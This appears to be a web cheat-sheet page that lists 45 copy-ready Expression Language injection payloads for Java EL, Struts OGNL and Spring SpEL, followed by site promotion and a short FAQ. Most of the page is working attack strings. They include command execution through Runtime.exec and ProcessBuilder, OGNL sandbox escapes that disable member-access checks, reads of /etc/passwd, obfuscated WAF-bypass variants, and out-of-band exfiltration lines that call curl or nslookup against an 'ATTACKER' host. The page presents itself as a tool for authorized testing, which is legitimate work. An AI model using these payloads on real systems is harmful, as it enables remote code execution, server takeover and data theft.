Expression Language injection payloads for Java EL, Struts OGNL, and Spring SpEL — detection, RCE, sandbox escape, and WAF bypass. (45 payloads)
${7*7}#{7*7}%{7*7}${7*'7'}${{7*7}}%{(123+456)}T(java.lang.Math).random()${pageContext.request.serverPort}%{(#[email protected]@getRuntime().exec('id')).toString()}%{#context['xwork.MethodAccessor.denyMethodExecution']=false}%{#_memberAccess['allowStaticMethodAccess']=true,@java.lang.Runtime@getRuntime().exec('id')}Content-Type: %{(#nike='multipart/form-data').(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess=#dm).(#cmd='id').(#p=new java.lang.ProcessBuilder(#cmd.split(' '))).(#p.start())}%{(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess=#dm).(#[email protected]@getRuntime().exec('id')).(@org.apache.commons.io.IOUtils@toString(#p.getInputStream()))}redirect:${%23req%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletRequest'),%23resp%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),%23resp.getWriter().println(@java.lang.Runtime@getRuntime().exec(%23req.getParameter('c')).getInputStream())}%{(#instancemanager=#application['org.apache.tomcat.InstanceManager']).(#stack=#attr['struts.valueStack']).(#bean=#instancemanager.newInstance('org.apache.commons.collections.BeanMap')).(#bean.setBean(#stack))}T(java.lang.Runtime).getRuntime().exec('id')T(java.lang.Runtime).getRuntime().exec(new String[]{'/bin/sh','-c','id'})new java.lang.ProcessBuilder(new String[]{'/bin/sh','-c','id'}).start()T(org.springframework.util.StreamUtils).copyToString(T(java.lang.Runtime).getRuntime().exec('id').getInputStream(), T(java.nio.charset.Charset).forName('UTF-8'))${T(java.lang.System).getenv()}__${T(java.lang.Runtime).getRuntime().exec('touch /tmp/pwn')}__::.x#this.getClass().forName('java.lang.Runtime').getMethod('exec',#this.getClass().forName('java.lang.String')).invoke(#this.getClass().forName('java.lang.Runtime').getMethod('getRuntime').invoke(null),'id')T(java.lang.Class).forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('js').eval('java.lang.Runtime.getRuntime().exec("id")')#[email protected]@DEFAULT_MEMBER_ACCESS(#wa=#context.get('com.opensymphony.xwork2.ActionContext.container')).(#bs=#wa.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#bs.setExcludedClasses('')).(#bs.setExcludedPackageNames(''))T(java.lang.Character).toString(105)+T(java.lang.Character).toString(100)T(java.lang.Runtime).getRuntime().exec(T(java.util.Base64).getDecoder().decode('aWQ='))''.getClass().forName('java.lang.Run'+'time')@java.lang.Runtime@getRuntime().exec(new java.lang.String(new byte[]{105,100}))%{(#[email protected]@getRuntime()).(#a.exec('id'))}T(java.lang.Thread).sleep(5000)new java.io.BufferedReader(new java.io.FileReader('/etc/passwd')).readLine()new String(T(java.nio.file.Files).readAllBytes(T(java.nio.file.Paths).get('/etc/passwd')))%{#f=new java.io.File('/etc/passwd'),#fis=new java.io.FileInputStream(#f),#b=new byte[(int)#f.length()],#fis.read(#b),new java.lang.String(#b)}T(java.lang.System).getProperty('user.dir')T(java.net.InetAddress).getLocalHost().getHostName()%{@java.lang.Runtime@getRuntime().exec('curl http://ATTACKER/$(whoami)')}T(java.lang.Runtime).getRuntime().exec(new String[]{'/bin/sh','-c','nslookup `id`.ATTACKER'})SpelExpressionParser().parseExpression(userInput).getValue()@Value("#{${user.controlled}}")@PreAuthorize("hasRole('...' + #param)")Struts <s:property value="%{name}"/> with user-set nameELProcessor().eval(userInput) / ExpressionFactory.createValueExpressionMessageInterpolator: javax.validation message ${...}spring.thymeleaf: th:text / fragment selector from requestLevel up your security testing
Install the CLI
npx payload-playgroundExplore All Tools
Encoding, hashing, JWT & more
Browse Cheat Sheets
Quick-reference payload guides
It's a quick-reference collection of 45 EL Injection payloads for testing EL / OGNL / SpEL Injection vulnerabilities during authorized penetration testing, bug bounties, and CTFs. Every payload is copy-ready and grouped by attack context.
Copy any payload straight into your authorized test, or use the SSTI Identifier & Payload Builder to apply them interactively. Only test systems you have explicit permission to assess.
Yes — this cheat sheet and all EL Injection payloads are completely free, with no account required. Everything runs in your browser.